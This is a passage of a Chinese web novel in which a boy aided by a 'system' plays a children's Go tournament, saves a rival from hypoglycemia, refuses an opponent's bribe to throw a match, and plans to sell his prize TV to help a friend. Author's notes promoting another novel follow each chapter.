就怕选手出现压力过大昏倒的情况。 只不过现在是休息时间, 医护人员也在休息。 纪辰新笃定道:“是低血糖,谁带了吃的,给他弄点吃的。” “什么吃的都行,谁有?” “请问,棒棒糖可以吗?”一位扎着马尾的小女孩小心翼翼地从兜里掏出一根粉红色的糖。 纪辰新眼睛一亮, 接过,“可以的。” 工作人员还在尝试唤醒胡浪,“小朋友,小朋友?” “小朋友,你快醒醒!” 工作人员狐疑地看着撕开棒棒糖包装纸的纪辰新,“你?” 纪辰新捏着糖,看出了他的谨慎,“你不信我没关系,但你将糖递到他嘴边,让他含一下,这没有影响的。” 密集的说话声,令胡浪隐隐有了点意识,但他眼皮沉重,一时睁不开。 也正是这时,一个美味的甜滋滋的东西塞到了他嘴里,舌尖细细品尝,让他血液渐渐活跃了起来。 好甜胡浪不自觉吞咽,死死咬住了糖棍,努力攫取生机。 没一会儿,耳边传来冷漠又熟悉的说话声,那声音说,“咬住了,我松手了。” 说罢,他便真的松手了,胡浪脑袋昏昏沉沉,终于眼皮轻动,逐渐清醒过来。 同时,耳边充斥着各种各样的声音。 “还好醒过来了,真可怕。” “低血糖是什么,为什么纪辰新一眼就看出来了。” “我也不知道,就这样塞个糖,就活过来了,真神奇。” “之前俩人还吵那么厉害,没想到纪辰新会救他。” 终于,医护人员被工作人员紧急从睡梦中拉了过来,气喘吁吁地查看胡浪的状况,很快下了判定,“是低血糖!小朋友你感觉怎么样?” 胡浪含着棒棒糖,意识已经差不多都回来了,就是还得再歇歇,“挺好的,是不是马上要比赛了?” 他最担心的莫过于这个。 工作人员看了眼时间,道,“还有几分钟,你别急。” 医生从兜里拿出一个随身携带的面包,“你应该是早上没吃早饭对不对?” 胡浪愣愣点头,他咬着棒棒糖,脑海里不由自主回荡着那个冷漠又熟悉的声音,是谁? 刚刚他们说纪辰新救了他? 所以救他的人是纪辰新? 嘴里的糖是他塞的吗? 胡浪的目光下意识环顾四周,却没见到印象中那个嚣张至极的身影。 这边,主裁判得知现场选手情况,当即做了个决定,将比赛推迟二十分钟进行。 没一会儿,医护人员又去取了葡萄糖水过来,“小朋友,你喝点这个。” 就这样,胡浪一边含着棒棒糖,一边又喝着葡萄糖,一边又嚼着面包,可把他的嘴忙坏了。 工作人员:“等比完第三轮,就可以吃午饭了,赛场是包午餐的。” “刚刚真是多亏了7号选手纪辰新,他反应好快,一下就知道了你的病症所在,你嘴里的糖就是他塞的。” 原来真是他! 胡浪神色复杂了一瞬。 十分钟后,周围的人员都四散开了。 胡浪终于看到了不远处正闭目养神的人,他无法形容自己内心有多的纠结,只见他掰了掰手指,最终还是起身,缓缓朝那个身影走了过去。 直到他在他面前站定,纪辰新都没睁眼。 胡浪咬了咬牙道,“那个刚刚谢谢你,还有对不起。” 他鼓起勇气,声音细弱如蚊,却始终低着头,不敢看纪辰新。 他发现自己之前太狭隘了,本就是自己嘲笑人家在先,结果还总挑衅人家,甚至抓着人家不放。 他自省自己的性格,太过不饶人! 他和黎上金虽然都是小县城出来的,但他跟黎上金不同,他家境还算不错,又是父母老来得子,全家人都宠着他,所以在家一直都是要风得风,要雨得雨,即便在外,家里人更是不会让他受一点委屈,这也就造成了他心高气傲,得理不饶人的性格。 纪辰新始终闭着眼,他当然听到了胡浪的道谢和道歉,但不代表自己要接受。 原本就是胡浪挑衅在先,而他不计前嫌救他,是源于自己做人的根本,与这个人是谁无关,换一个人,他也还是会救的。 系统:【宿主,你是怎么一眼就判断出他是低血糖的?】 纪辰新没回答,从小吃不饱穿不暖的记忆一幕幕涌上心头,低血糖反倒是其中最小的一个问题! 至于胡浪,一看就是习惯问题,从小饮食不规律导致的。 “纪辰新我知道你听到了。”胡浪苍白的脸色转红,“你不原谅我也没关系,总归是我的错。” 说着,他便转身,知道自己不该再叨扰。 纪辰新微微眯了下眸子,最终还是没搭理他,人总要为自己的言行付出代价,不是吗。 第三轮比赛在十分钟后,顺利开始了。 胡浪依旧没有与纪辰新对上,但此刻的他很庆幸,他已经对纪辰新没了敌意,如若对上,复杂情绪裹挟着他,他会感到非常不安。 纪辰新看着对面这个刚刚给他递糖的小女孩,嘴角向下压了压,“你先吧。” 小女孩名叫汤小贝,她很守规矩,“我们还是猜先吧,你千万别让我,我这个人很骄傲的。” 纪辰新喉咙一哽,“嗯。” 汤小贝的棋艺比不上黎上金,在纪辰新短短十分钟的围攻下,很快败下阵来。 但她也和黎上金一样,拥有一股不服输的劲,执着的不愿认输。 纪辰新就这样陪着她耗,直到汤小贝的时间都耗尽了,裁判过来给她判了超时负。 汤小贝在最后一刻红了眼眶,她无法接受自己耗费这么长时间都没下过40目。 她受到了不可磨灭的打击,然后一张嘴就哭了,“好难啊,怎么会这么难,我再也不要下围棋了!” 纪辰新不知道怎么安慰她,只能给她递去一张纸巾。 汤小贝没接,最后狠狠瞪了纪辰新一眼就走了。 纪辰新感到非常莫名:??? 系统看热闹不嫌事大:【你伤害了小女孩幼小的心灵。】 纪辰新不背锅,【是我吗,我可是按照你的提示下的!】 这时,突然有人用手点了点他的肩,胡浪站在他身后,紧张地递过来一杯水,“纪辰新,你渴不渴?” 纪辰新被他吓一跳,“你干嘛?” 胡浪理不直气不壮地看着他,扭捏道,“纪辰新,我进入8强了,你喝水。” 纪辰新终于正眼看他,这小子居然挺到了8强,说明是有点实力在身上的。 “我不喝,你拿开。” 胡浪没动,他就站在原地,像是绞尽脑汁想到了什么,“马上就吃午饭了,一起去吗?” 纪辰新不明白他为什么会有这种想法,难道救他一次,俩人的关系就突飞猛进变好了? * 赛场的伙食还不错,纪辰新看着盘子里的鸡腿、肉和蛋,肚子饿的直叫唤。 正当他狼吞虎咽时,胡浪默默坐到了他的对面,然后轻轻将自己盘里唯一的一个鸡腿夹到了纪辰新盘里。 他明明自己也很馋,却抿着唇不露出一点情绪,“纪辰新,你吃。” 纪辰新霎时皱眉,他将鸡腿顺势夹回去,哪知胡浪端着盘子就跑了,一边跑还一边回头看他,生怕他追上来。 “” 实在不知该说什么了,纪辰新最终无可奈何地吃了两个腿。 系统:【宿主,我猜你原谅他了。】 纪辰新嘴硬,【哪有,顶多不怪罪他了,小孩子总有犯错的时候,知错能改就证明人不差。】 系统:【还说你没原谅他,都这么为他说话了。】 他撇撇嘴,【随你怎么想喽。】 中午有1个半小时的休息时间,纪辰新吃完饭后,却怎么也睡不着了,因为他上午已经睡过了。 所以,他出了休息室,兜兜转转,来到了那个报名积分赛的红房子前。 仔细听的话,是能听到里面有人在说话的。 现在是午休时间,所以周围十分安静,工作人员也都不在。 所以,纪辰新很清楚就听出了是谁在里面。 声音还算熟悉,正是黎上金和胡浪。 胡浪打着包票道,“阿金,如果我拿到第三名,800奖金全给你,反正我也没什么用。” 另一个声音,也就是黎上金,拒绝他,“不用,我会凭自己本事进入省半决赛,我记得省半决赛也有两百的安慰奖。” “那才多少,而且能不能走到那还不一定呢。” “总之,你先别急着拒绝我,你想想你奶奶的手,还治不治了?”胡浪语重心长。 他很想帮阿金,甚至还偷过家里的钱接济阿金,但始终是杯水车薪,后来还被爸妈发现了,平时宠爱他的父母,那日破天荒打了他,说他不学好,净与小混混处一块儿,居然学会了偷窃。 他们一口咬定是阿金带坏他的,要去找他麻烦,后来还是他再三保证并将钱还了回去,发誓以后再也不与阿金来往,才免去了这一遭。 胡浪:“我的棋都是你教的,若是真拿到第三,也是你的功劳。” 黎上金心下感动,知道胡浪的性子,一时无法改变他的想法,于是转移话题道,“听说今天上午,你低血糖犯了是纪辰新救的你?” 说到这个,胡浪神色不太自然,“嗯。” 黎上金笑了笑,“看来他人还不错,能不计前嫌救你,但你的脾气以后还是要改改,太容易冲动了。”黎上金非常了解他,找到机会就要劝谏一番。 “其实,我还蛮担心下午你与他碰上的,他很强,就连我都不是他的对手。” 黎上金客观分析,眯了眯眼似在回忆,“任何的想法在他面前都将无处遁形,总之别碰上最好。” 胡浪笑的坦然,“他真这么厉害?但碰不碰上也不是我们能决定的。” “不过,我承认你说的,他确实是一个好人。” 说这话时,他目光晶莹,语态轻盈。 纪辰新偷听到这,深邃的瞳孔里幽幽泛着波光,他被夸爽了! 系统:【怎么感觉,这个胡浪要成为你的小迷弟了。】 纪辰新臭屁地扬了扬下巴,沉浸到自己的魅力中,【唉,理解,人之常情嘛!】 系统:【】—— 作者有话说:系统:宿主,你什么时候变这么自恋了? 小天使们,收藏一下吧~ 预收《我靠算命火爆全球》求收藏~ 【本文文案】: 喻嘉,一个普通人,失业后马不停蹄加入了啃老大军。 然而还没开始啃,就被父母告知,他家世代修仙,而今功德圆满即将飞升。 当晚他们就飞走了… 一向淡定的喻嘉,真的破防了:“喂!你们走了,家里房贷谁还啊!” 普通人喻嘉发现自己好像并不普通。 与此同时,万象直播平台出现了一个算命直播间,起初,并未引起人注意。 有人抱着试试的心态点了进去。 “大师,我女儿高考复读两次了,这次到底能不能顺利上岸?” “高考先放一边,你女儿已经偷摸领证,肚子里孩子都三月了。” “大师,我老公每天早出晚归,一问就是公司加班,能信吗?” “赶紧离,他早出轨了,刚还查出了艾滋病。” “大师,我儿子被拐十五年了,还能找到吗?” “八十里外清河村,姓李的人家,你去看看。” 喻嘉的直播间爆火了,每晚数以千万的人在他直播间蹲守,而他也从岌岌无名,变为了受世人追捧的神算子! 久而久之,喻嘉不堪其扰,当即立下规定:一天一卦,一卦三万! 结果,找喻嘉的人不降反增。 世界首富、各国大佬、商界精英、新晋顶流、神秘官方… 他们捧着钱,一箱一箱的送过来,求着他收! 第23章 下午的比赛从一点半开始, 这次的匹配方式有了变化,从8强开始改用选手自己抽签的方式进行匹配。 开场前,裁判就让大家依照编号的先后顺序上来抽了签。 纪辰新是第一个上去抽签的, 编号在他前面的选手已经全被淘汰完了。 纸箱子就摆在主裁判面前,每个人上去只能在里面抓取一张纸条。 胡浪目光灼灼地紧盯着纪辰新的背影,内心的复杂心思有些难言。 系统试探:【宿主,你这次还想抽中胡浪吗?】 纪辰新的手在箱子里犹疑了一瞬,【这不是我想不想的问题,一切看命运的安排。】 说罢, 他陡然从箱子里拿出一张纸条, 看都没看一眼, 直接交给了主裁判。 主裁判将纸条摊开,随即目光威严地扫视众人,“43号。” “7号纪辰新对43号刘弯!” 听到编号的那刻, 胡浪由衷的松了口气, 霎时间他感觉呼吸都顺畅了。 “已匹配完成的选手, 请依次入座。” 工作人员带着纪辰新来到了离主裁判最近的棋盘桌。 突然, 听到有人举手道, “请问,可以自己选座位吗?” 说话人正是刘弯, 他指着自己面前的位置, “我跟这个位置有缘, 想继续坐这。” 这个要求其实无伤大雅,工作人员只要稍作调整就可以满足他的要求。 刘弯祈求,“拜托拜托了,我坐这连赢了几把,我这个人比较信玄学。” 12岁的刘弯戴着个眼镜, 显得比周围的其他选手成熟感较重点。 即便他有此要求,工作人员还是先问了纪辰新的意见,“7号,你的想法呢?你可以拒绝。” 刘弯转而用希冀的目光看向纪辰新。 系统:【玄学乃无稽之谈,他今天就是坐佛主腿上,也得输!】 纪辰新因系统这一发言,差点笑喷了,不过他忍住了,“我没意见,坐哪都行。” 如此,工作人员便不再说什么,纪辰新也去到了刘弯所在的桌子。 十分钟后,所有人都已准备就绪,对局就此开始。 刘弯的棋艺较为一般,他开局便是下棋的固定套路,官子漏洞不少,计算上也偶尔出错,尤其是面对突袭时,显然有些慌神,甚至手忙脚乱。 这些,就连纪辰新这个半吊子都看出来了。 纪辰新不由就没了耐心,【他的水平差黎上金远了,也不知道他是怎么留到现在的。】 系统:【比赛有时候也看运气,他运气好所以遇到的对手都不强劲,而黎上金棋艺不错结果第二轮就遇到你,这都没法说的。】 纪辰新挑了挑眉,【照你这么说,那刘弯信玄学还是有点道理罗?】 “那个我渴了,想喝点水再下!”刘弯倏然看向他。 每个人的水瓶都放在了脚边,想喝就喝,纪辰新随他。 只见他弯腰拿水,咕噜咕噜大口喝着,一气呵成。 纪辰新以为他喝完水就会落子了,哪知他又举手,“裁判,我尿急,想去趟厕所。” 裁判点头示意,便安排了一个工作人员与他同去。 纪辰新百无聊赖地坐在位置上,手无意识地把玩着手腕上的珠子。 系统:【这局棋总共还没下30目,他事也太多了。】 纪辰新无所谓,【反正他浪费的是他自己的时间,他要是不怕超时输掉比赛,再事多也会乖乖回来的。】 这话说的不假,没几分钟,刘弯便屁颠屁颠回来了。 这次他看起来状态好多了,一连下了好几子,都是沉稳应对。 只是,没多久他小动作又多了起来,一会儿这挠挠,一会儿那挠挠,就像屁股下面坐了榴莲一样,根本安不下心来。 “那个我肚子有点不舒服,请问可以帮我到休息室,一个蓝色的双肩包里拿一下止疼药吗?拜托了。”终于,刘弯又开口提要求了,他脸色苍白的看着面前的巡回裁判。 裁判看他状态不似作伪,便点头,“你稍等。” 在裁判安排人接位时,纪辰新麻了,全程没下几个子,一直在看对面刺挠。 于是,在纪辰新再次哈欠连天的功夫,局面却悄然发生了变化。 刘弯捂着肚子,冷汗涔涔地看他,“到你了。” 纪辰新手中捏着黑子,在即将落子时,猛然蹙眉,【系统,不对啊,我记得十九之三明明】 系统的机械音冷冽至极:【宿主,咱们遇到赖皮了。】 【刘弯不仅调换了你的棋子,而且还将自己被围困的棋子移了位。】 纪辰新简直是大开眼界,【他这算违规了吧。】 系统:【当然,这局没必要再下下去了。】 “裁”纪辰新目光顿时幽冷,刚要举报,只见对面的刘弯连忙打断他,轻声道,“纪辰新,我给你一千块!” 纪辰新愣住了,“所以呢?” 刘弯坐的这个位置远离主裁判的视线,巡回裁判又被他支走,接替的人还没赶过来,他这作起弊来简直神不知鬼不觉,就连纪辰新都不知道他什么时候动的手脚。 再看他的位置,背对着监控的,估计刚刚换子都没被拍到。 难怪啊!难怪他执意要坐这,看来是蓄谋已久。 “你让我赢,一千块钱就归你了。”刘弯开出了天价,要知道第三名也才八百块。 纪辰新实在想不通他为何要如此,但这不重要,他必须要拿到市赛前两名,然后进入省赛。 “不用。”纪辰新严词拒绝。 “你想要多少?”刘弯再次阻挠,“我可以给你加钱。” 纪辰新心里不由叹气,刘弯若是遇到的是黎上金该多好,正好黎上金需要钱,刘弯想要晋级。 系统:【宿主,你的想法很危险,故意输棋或是下假棋是违反比赛规则的。】 纪辰新下意识反骨:【那照你这么说,我不也是?我一个不懂围棋的人,一次次靠你晋级是否也违反比赛规则?】 系统沉默了好一会儿才道,【你怎么会这么想,我是你的系统,我们本就为一体,不算!】 这时,接替裁判的人过来了,纪辰新正准备举手说什么,刘弯便笑着提醒道,“纪选手,轮到你下了。” 纪辰新陡然与他对视,瞬间意识到不对劲,一低头,棋局居然复原了? 系统:【看来他很懂得审时度势,还很聪明,看出你不愿接受,便恢复了棋局,这样即便输了,也不会因此被判作弊而取消比赛资格。】 【若没猜错的话,他应该会继续参加积分赛。】 刘弯完全不给纪辰新说话的机会,轻推两颗棋子至右下角,“我认输。” 他以退为进,率先认输。 裁判纪实记录,“8进4,7号纪辰新胜。” 刘弯礼貌地朝他敬礼,纪辰新僵直着背根本不想回应他任何礼仪。 “或许,我们还能在省赛中遇见。”刘弯临走前,语气中并没有被淘汰的郁闷。 纪辰新不难想象他一路走过来,用了多少肮脏手段,而后天的积分赛,他是否又会用同样的手段让其他参赛选手输给他呢? 系统:【你小看他了,积分赛报名的选手都是公开的,他为什么要等到后天,他今晚或明天收买好就行了呀!】 【不出意外的话,黎上金会被收买成功,然后当场被裁判发现打假赛,最后他自觉地将一切揽在了自己身上,因为刘弯答应给他一千五的报酬,至此,黎上金被取消比赛资格,并遏令禁止参赛三年,而刘弯以受害者的身份成功晋级下一轮。】 纪辰新蹙眉:【你怎么知道?】 【刚搜到的,原书里,黎上金因一千五的报酬故意输给刘弯,被发现后,被取消了比赛资格,并禁赛三年,结果三年后国家出新规,凡曾打假赛者,施以严惩,永久禁赛。】 【这次俩人双双被你淘汰出局,必会在积分赛碰上,所以剧情不可避免会这样发展。】 罕见的,纪辰新感受到自己的心态受到了一丝影响。 他好像第一次理解到了不尊重围棋的人到底有多可恨,他讨厌刘弯眼中的不屑,更厌恶他用金钱交易输赢的行为。 他不知道他一个人的恶劣行径会直接毁掉了另一个人的人生。 不,他是知道的,但他还是这么做了,甚至最后也没站出来澄清这一切! 纪辰新突然明白了当初苏陌对他说的那些话,不尊重围棋的人根本就不配下棋。 因为不尊重围棋,所以也不会尊重对手。 刘弯就是这样的一个人,他靠下假棋直攀高峰,他亵渎了围棋,亵渎了真正的棋手,他是棋手中的败类! 此刻,纪辰新终于意识到围棋对于他到底是不一样了。 它是神圣的,是不可侵犯的。 他看不得任何人在他面前亵渎围棋。 即便是他自己。 对,即便是他自己也不能! 之前他问系统的那句话,其实暗地里,多多少少存着对自己行为的不认同的。 即便系统说他们本就为一体,不算违规,但他自己清楚的知道不是的。 他纪辰新就只是纪辰新,系统所馈赠给他的棋艺并不属于他。 走到现在,他不由扪心自问,自己是光明磊落的吗? 他于刘弯好像没有多大的不同! 只有公平竞技,才是对围棋最大的尊重! 如果不想成为连自己都瞧不起的人,那么从今以后就应该下自己的棋,而不是依附于系统,变成一个傀儡! 系统没想到宿主竟突然有了这样的感悟,它的喜悦之情难以言表。 【宿主,只要是你所想,我都会帮你。你放心,我将会搜罗所有围棋方面的知识供你参考和学习,你天赋很好,相信用不了几年的时间,你一定会成为一个厉害的棋手,然后下出你自己的棋!】 纪辰新低垂着眉眼,语气中带着一丝迷茫和迟疑,【会吗?】—— 作者有话说:小天使们,收藏一下吧~ 预收《我靠算命火爆全球》求收藏~ 【本文文案】: 喻嘉,一个普通人,失业后马不停蹄加入了啃老大军。 然而还没开始啃,就被父母告知,他家世代修仙,而今功德圆满即将飞升。 当晚他们就飞走了… 一向淡定的喻嘉,真的破防了:“喂!你们走了,家里房贷谁还啊!” 普通人喻嘉发现自己好像并不普通。 与此同时,万象直播平台出现了一个算命直播间,起初,并未引起人注意。 有人抱着试试的心态点了进去。 “大师,我女儿高考复读两次了,这次到底能不能顺利上岸?” “高考先放一边,你女儿已经偷摸领证,肚子里孩子都三月了。” “大师,我老公每天早出晚归,一问就是公司加班,能信吗?” “赶紧离,他早出轨了,刚还查出了艾滋病。” “大师,我儿子被拐十五年了,还能找到吗?” “八十里外清河村,姓李的人家,你去看看。” 喻嘉的直播间爆火了,每晚数以千万的人在他直播间蹲守,而他也从岌岌无名,变为了受世人追捧的神算子! 久而久之,喻嘉不堪其扰,当即立下规定:一天一卦,一卦三万! 结果,找喻嘉的人不降反增。 世界首富、各国大佬、商界精英、新晋顶流、神秘官方… 他们捧着钱,一箱一箱的送过来,求着他收! 第24章 下午两点半左右, 市四强已经诞生。 胡浪拼命压抑自己的内心的激动,但脸上的雀跃还是不小心表漏了出来,只要再前进一名他就能夺得第三名了。 他没想到自己能走到现在, 总而言之,今天运气还不错。 主裁判宣读着最后一轮的比赛规则,“淘汰赛,分为两组进行比赛,获胜的俩人进入决赛,失利的俩人争夺第三名, 共计四场比赛。” 最后的抽签环节, 由编号靠后的抽取, 而胡浪是45号,编号在四人里最靠后,他便成了第一个抽签的。 主裁判:“45号, 上来抽签。” 胡浪深吸了一口气, 然后双手合十, 嘴里念念有词, “希望好运再偏爱我一次, 不要抽到纪辰新,不要抽到纪辰新” 很显然, 黎上金的劝告他听进去了, 他的围棋是黎上金教的, 既然黎上金都输了,他就更没把握赢了。 然而,命运似乎给他开了一个很大的玩笑,在他离成功最近时给了他沉痛一击。 胡浪看着自己亲手抽中的纸条在主裁判手中摊开,下一秒一个大大的7出现在了视线里, 那一刻,他知道自己完了 主裁判:“45号胡浪对7号纪辰新。” “两位选手可以去准备了。” 胡浪脑子一片空白,也许是受的打击太大,愣在原地好一会都没动。 纪辰新一时之间也没移步,他低垂着眼眸不知在下想什么。 系统:【宿主?】 【宿主,你千万不要意气用事,我知道你已经决定以后堂堂正正下棋了,但我们暂时不能更改计划,这次的比赛关系重大,你必须拿到省第一,得到围棋业务五段的证书,以后定段赛需要】 纪辰新抬眸,神色平静,【我都知道,你放心,我不会乱逞强,我刚刚只是在想晚上吃什么罢了。】 系统直接卡壳了,【】那些劝谏的话,一个字一个字咽了回去。 纪辰新眸光清澈,【安啦!我会通过市赛,拿到省第一,我毕竟还欠赵信两千块钱呢,我没忘。】 系统欣慰,【那就好,主要我怕你心里有负担。】 【那你想多了,我这么铁石心肠的人怎么可能心里有负担。】纪辰新浅笑晏晏。 工作人员催促,“两位选手,快就座。” 纪辰新抬眼望过去,就瞅见胡浪哭丧着一张脸,不由想要调侃两句,“要不你直接认输吧,这样就可以直接跟另一个人抢第三名了。” 这话怎么听着怪怪的? 怎么听,怎么都像是挑衅和赛前放狠话 一旁的工作人员以为俩人又要互骂斗嘴了,然而胡浪现在对纪辰新的滤镜有点深,他没听出什么问题,反而真诚道,“你也觉得我该直接认输?那我去问问裁判可不可以。” 纪辰新:“” 他无语,瞅他,指了指头,“你是不是脑子啊?” 省略号里包含了太多,骂挺脏的,但胡浪却真听进去了。 “你站住!”纪辰新深吸一口气,将他喊了回来,“你怎么听不懂好赖话了?” 胡浪不明白,“啊?什么?” 纪辰新看他这懵逼的无辜样,再想调侃此刻也没辙了。 系统桀桀桀桀笑着,活像一个反派。 【够了,你不是人,不要什么都学OK?】纪辰新简直无法形容突然听到这个笑声的通透感。 系统委屈闭嘴,【噢!】 对决到底是开始了,纪辰新全程只想速战速决。 对面的胡浪汗水很快浸透了前胸后背,一直都在小心应对。 才下十分钟左右,他就感受到了强大的压力,他终于明白黎上金为何如何担忧了。 系统一边应对胡浪,一边给纪辰新讲解棋局。 【喏,这叫打吃,黑棋在左下处,白子被围在其中,只剩一口气。】 【至于双打吃,你可以看右上,黑棋下在邻角处,中间余的两个交叉点,白棋也只剩一口气。】 胡浪根本不知道对面的人正在拿他做实战教学,而且还是非常基础的教学。 纪辰新一副领悟到的点了下头,然而他这个样子,看在对面胡浪的眼中就好像在设计什么圈套似的。 胡浪越下越心惊,他之前是有注意过纪辰新下棋时的状态的,他在跟其他人下的时候经常都悠然自得甚至心不在焉。 可为什么跟自己下时要这么目不转睛,全神贯注? 难道是自己的棋艺难到他了?虽然有些异想天开了,但他还是觉出了一丝不同的意味。 或许,纪辰新很看重他吧! 不然这无法解释! 一想到,自己的救命恩人对自己如此重视,胡浪心中莫名感动,即便今天输在他手底下,好像也不是什么丢脸的事。 毕竟纪辰新那么厉害,心肠还那么好,简直是他要学习的楷模典范! 纪辰新不知道对面脑补了什么,他从系统那了解了一大串知识,正在慢慢消化。 【围棋还真是一门越学越有的学科。】 系统:【那当然啦,怎么样,宿主你现在是不是有点喜欢上围棋了?】 喜欢?纪辰新呢喃着这两个字,他也不知道喜不喜欢,不过不管喜不喜欢,都不会改变围棋在他心中不能亵渎的地位。 胡浪努力撑到了中盘,最后还是认了输,这局棋下的他绞尽脑汁,认输那刻,整个人都放松了。 “阿金说的果然没错,你确实厉害。” 纪辰新淡笑着,“你也不错。” 说罢,他便主动伸出了手,以友好的姿态。 胡浪意识到什么,眼中闪过惊喜,“你愿意原谅我了?” 纪辰新偏了下头,傲娇道,“呵,你觉得呢。” 胡浪嘿嘿笑着,他已经感受到对方释放的善意了。 “纪辰新,我以后能找你学棋吗?” 纪辰新直接梗住,什么? 这已经不是来找他下棋这么简单了,而是来找他学棋?! 37度的嘴是怎么问出这么冰冷的话的? 这无疑是他今年听到过最好笑,也是最无可奈何的笑话。 “不了不了。”纪辰新连连摆手,心虚拒绝。 他总不能说,大哥,其实我就是个半吊子,我教你,还不如你来教我更的靠谱吧! 胡浪有些失落,“为什么?你觉得我太笨了?” 纪辰新慈爱地看着他,笑容苦涩,“不,你不笨。”是我不会! “那”胡浪还想再说什么,却突然想起阿金曾经说过的不要强人所难,被拒绝也不要深究,有时候原因可能只是单纯的不想。 所以,纪辰新是不想教他? 胡浪如是想,也是,他对自己原本就观感不好,还硬要凑到人家跟前去,肯定会被讨厌的。 “额我刚刚开玩笑的,你别往心里去!” 纪辰新闻言,如释重负,“呵呵呵,玩笑很好笑,以后不要再开了。” 胡浪输了,需要与另一位失败者再比一轮,争夺第三的名次。 而纪辰新要与另一位获胜者决出冠亚军。 中场休息的二十分钟里,工作人员给他们准备了点心补充体力。 纪辰新躺在椅子上,嘴里无意识地嚼着面包。 【系统,胡浪会输对吗?】 系统惊讶了,【宿主你怎么推断出来的?】 纪辰新哼了声,【你都说了,原书中,黎上金为了钱与刘弯进行了交易,如果胡浪拿到了第三名,获得了那八百块钱,黎上金就没必要这样铤而走险了。】 他也是中午在红房子外听到俩人的对话才得出这个结论的,既然最终黎上金还是铤而走险了,那就说明胡浪并没得到名次。 系统:【宿主,你想阻止这个悲剧的发生?】 纪辰新摇摇头,【如何阻止?难道我能帮胡浪夺得第三名?】 【又或者,我能劝黎上金不要为了钱,跟刘弯做交易?】 【先不说,他凭什么听我的,就算听了,他需要钱才是最核心的,他要治他奶奶的手我总不能断人后路吧。】 说到这,纪辰新灵光一闪,【欸,不对,他需要钱治他奶奶的手,这才是核心。】 【如果已经有一笔钱了,是不是就】 纪辰新发现自己抓住了华点,所以现在要搞清楚黎上金他奶奶的手严不严重,如果不严重的话,估计也要不了多少钱。 系统:【是手部关节中度骨关节炎,以现在的医疗水平最少也要一千五左右。】 一千五? 这这不就对上了吗! 纪辰新终于知道该怎么做了。 系统好奇的不得了,【宿主,你想到了什么,打算怎么做?】 时间过的很快,两个小时后,系统就知道纪辰新要做什么了。 他不费吹灰之力打败了另一位选手拿下了比赛的胜利,而胡浪就如他们推断的那样,并没有夺得第三名。 六点左右,站在领奖台上的纪辰新,手握奖杯,得到了一台彩电。 随后他在众目睽睽之下,抬头问给他颁奖的主办方,“您好,请问可以帮我把彩电兑换成现金吗?” 主办方是一个大腹便便的地中海,他身着西装,半小时前才赶来,面对如此无礼的要求,他嘴角微抽,甚至觉得贻笑大方。 然而,颁奖的过程有记者在记录,他只能努力保持着标准的笑容,礼貌道,“小朋友,奖品既定,无法兑换噢。” “这样啊,那我等下出去卖掉总可以吧。”纪辰新为自己的机智点赞,笑的无所畏惧。 记者:“看镜头,一定要笑哦,茄子!” 听到纪辰新的话,地中海表情差点没绷住,然而他并没有忘记笑,只是笑容甚是勉强。 “咔嚓”一声,镜头就此定格!—— 作者有话说:地中海:你猜我笑不笑的出来![化了] 小天使们,收藏一下吧~ 预收《我靠算命火爆全球》求收藏~ 【本文文案】: 喻嘉,一个普通人,失业后马不停蹄加入了啃老大军。 然而还没开始啃,就被父母告知,他家世代修仙,而今功德圆满即将飞升。 当晚他们就飞走了… 一向淡定的喻嘉,真的破防了:“喂!你们走了,家里房贷谁还啊!” 普通人喻嘉发现自己好像并不普通。 与此同时,万象直播平台出现了一个算命直播间,起初,并未引起人注意。 有人抱着试试的心态点了进去。 “大师,我女儿高考复读两次了,这次到底能不能顺利上岸?” “高考先放一边,你女儿已经偷摸领证,肚子里孩子都三月了。” “大师,我老公每天早出晚归,一问就是公司加班,能信吗?” “赶紧离,他早出轨了,刚还查出了艾滋病。” “大师,我儿子被拐十五年了,还能找到吗?” “八十里外清河村,姓李的人家,你去看看。” 喻嘉的直播间爆火了,每晚数以千万的人在他直播间蹲守,而他也从岌岌无名,变为了受世人追捧的神算子! 久而久之,喻嘉不堪其扰,当即立下规定:一天一卦,一卦三万! 结果,找喻嘉的人不降反增。 世界首富、各国大佬、商界精英、新晋顶流、神秘官方… 他们捧着钱,一箱一箱的送过来,求着他收! 第25章 从比赛现场出来, 纪辰新心情不错,而关于他夺得市第一的消息,记者已经抓紧回去赶稿了, 估计明天就会出来。 系统:【所以,宿主你真的打算将彩电卖掉吗?】 刚刚颁奖时那一番问话,已经很显然了,宿主想出来的办法就是拿卖彩电的钱救济黎上金吧。 尽管如此,系统还是为他感到了可惜,【你家都没有电视, 这可是彩电, 即便卖了补贴自己家用也够好久了。】 纪辰新无所谓道, 【我本来就赢的名不副实不是吗,若是这个钱能挽救一个人的人生何乐而不为。】 “纪辰新选手,你家地址是?我们帮你把奖品送回家。”工作人员跟了出来。 “不用了, 帮我搬到这附近最近的市场可以吗?”纪辰新知道时间紧迫, 后天就是积分赛, 得赶在刘弯说服黎上金之前将彩电卖掉。 工作人员很讶异, “啊, 你这是真打算卖?” 之前颁奖,纪辰新问话并未避着众人, 所以在场不少人都听到了。 “对, 麻烦了。”纪辰新心意已决。 突然, “小朋友,可否将彩电卖与我?”一个头发花白的老爷爷拄着拐杖,从大厅处走了出来。 工作人员看见此人时,立即鞠躬,“袁老好。” 袁老?谁啊? 纪辰新疑惑地看着他, “你要买我的彩电?” 他上下打量对方,这人穿着儒雅,气质不凡,怎么看也不觉得会是缺电视的家庭。 “是,你打算卖多少钱?”袁老笑着道。 纪辰新也在估价,【系统,你说呢?】 系统:【奖励的这台彩电,虽然不是最新款,但最少也要2100左右。】 纪辰新知道了价格,便开口了,【2100。】 他说完有些忐忑,如果对方要讲价,怎么办? 那当然是不卖啦,系统都说了最少2100,总不能做亏本买卖吧。 袁老闻言,眼角的皱纹荡漾了一下,【我若告诉你,工作人员购置这台彩电时,花了两千五,你待如何?】 两千五? 那跟两千一也差不多了,毕竟到他手里,已经转了一手,私卖没那么好卖的。 况且,既报出了价格,再悔也不厚道。 “不如何,就2100,你买不买?”纪辰新神色自然,并无异样。 袁老盯了他一会儿,眼中尽是欣赏,“买,当然买,我还要按原价买。” 说罢,他便看向一旁的工作人员,“从我的账上出。” “我要现金,我没有卡。”纪辰新眸光亮了亮,连忙提醒。 工作人员点头,便去了后台。 袁老杵着拐杖,“坐会儿?” 大厅里是有椅子的,纪辰新看他腿脚不便,便同意了。 坐到椅子上后,袁老从怀里拿了本册子出来,纪辰新只一眼就发现这是他们今天比赛的对局。 每局比赛结束后,会有记谱员将每一局的对局完完整整的记录下来。 而袁老现在看的正是纪辰新今天上午与黎上金的那场对局。 